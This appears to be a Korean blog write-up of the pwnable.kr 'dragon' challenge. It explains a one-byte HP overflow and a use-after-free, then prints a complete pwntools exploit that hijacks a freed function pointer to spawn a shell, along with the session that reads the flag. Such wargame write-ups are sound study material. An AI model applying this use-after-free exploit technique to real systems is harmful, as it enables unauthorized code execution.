Write-up

[pwnable.kr] dragon writeup

ch4rli3kop 2019. 7. 13. 22:42
반응형

[pwnable.kr] dragon writeup


[summary] byte overflow

I made a RPG game for my little brother.
But to trick him, I made it impossible to win.
I hope he doesn't get too angry with me :P!

Author : rookiss
Download : http://pwnable.kr/bin/dragon

Running at : nc pwnable.kr 9004

structure

00000000 Monster         struc ; (sizeof=0x10, mappedto_1)
00000000 ptr             dd ?                   ; offset
00000004 num             dd ?
00000008 HP              db ?
00000009 MP              db ?
0000000A                 db ? ; undefined
0000000B                 db ? ; undefined
0000000C attack          dd ?                   ; offset
00000010 Monster         ends
00000010
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 User            struc ; (sizeof=0x10, mappedto_2)
00000000 num             dd ?
00000004 HP              dd ?
00000008 MP              dd ?
0000000C ptr             dd ?
00000010 User            ends

바이너리에서 사용하는 구조체는 대충 요렇게 생겼다.

vulnerability

int PriestAttack(struct User *User, struct Monster *Monster){
...
puts("HolyShield! You Are Temporarily Invincible...");
printf("But The Dragon Heals %d HP!\n", Monster->MP);
Monster->HP += Monster->MP;
User->MP -= 25;
...
}

PriestHollyShield 스킬을 사용해가면서 존버하다보면 HPchar 형으로 선언되어 있기 때문에, 어느순간 몬스터의 HP가 오버플로우가 일어나서 음수가 된다. 이를 이용하면 Mama Dragon을 이길 수 있다. Baby Dragon은 이길 수 없으시다.. 넘오쌤..

Mama Dragon을 이기면 Monster가 사용하던 heap 공간이 free되는데, FightDragon()의 루틴을 살펴보면 이미 free된 Monster의 heap 공간을 다시 사용하는 것을 볼 수 있다. 전형적인 uaf임.

int FightDragon(int choice){
  ...
puts("Well Done Hero! You Killed The Dragon!");
   puts("The World Will Remember You As:");
   str = malloc(0x10u);
   __isoc99_scanf("%16s", str);
   puts("And The Dragon You Have Defeated Was Called:");
  ((void (__cdecl *)(struct Monster *))Monster->ptr)(Monster);
...
}

fastbin의 규칙으로 인해 str은 결국 free되었던 Monster의 공간을 다시 할당받기 때문에, 위의 동작은 임의의 주소공간의 코드를 execution 시키는 것을 유발할 수 있다.

exploit

#!/usr/bin/python
from pwn import *

def skip_baby():
r.sendlineafter('Knight\n','2')
r.sendlineafter('But You Lose 20 HP.\n', '2')

def kill_the_dragon():
r.sendlineafter('[ 2 ] Knight\n', '1')
for i in range(4):
r.sendlineafter('Temporarily Invincible.\n', '3')
r.sendlineafter('Temporarily Invincible.\n', '3')
r.sendlineafter('Temporarily Invincible.\n', '2')


#r = process('./dragon')
r = remote('pwnable.kr', 9004)

skip_baby()
kill_the_dragon()

_system = 0x8048530
shell = 0x08048DBF

payload = p32(shell)

r.sendlineafter('The World Will Remember You As:\n', payload)


r.interactive()

result

ch4rli3kop@ubuntu16:~/pwn/pwnable.kr/dragon$ python sol_dragon.py 
[+] Opening connection to pwnable.kr on port 9004: Done
[*] Switching to interactive mode
And The Dragon You Have Defeated Was Called:
$ id
uid=1048(dragon) gid=1048(dragon) groups=1048(dragon)
$ ls -l
total 36
-r-xr-x--- 1 root dragon 12284 Jul  1  2014 dragon
-r--r----- 1 root dragon    27 Jul  1  2014 flag
-rw------- 1 root dragon 12950 Jul 11 04:34 log
-rwx------ 1 root root     769 Sep 11  2014 super.pl
$ cat flag
MaMa, Gandhi was right! :)


반응형

'Write-up' 카테고리의 다른 글

[bytebandits 2020] fmt-me writeup  (0) 2020.04.14
[pwnable.kr] fix writeup  (0) 2019.07.13
[pwnable.kr] fsb writeup  (0) 2019.07.13
[pwnable.kr] tiny_easy writeup  (6) 2019.07.13
[pwnable.kr] ascii_easy writeup  (2) 2019.07.13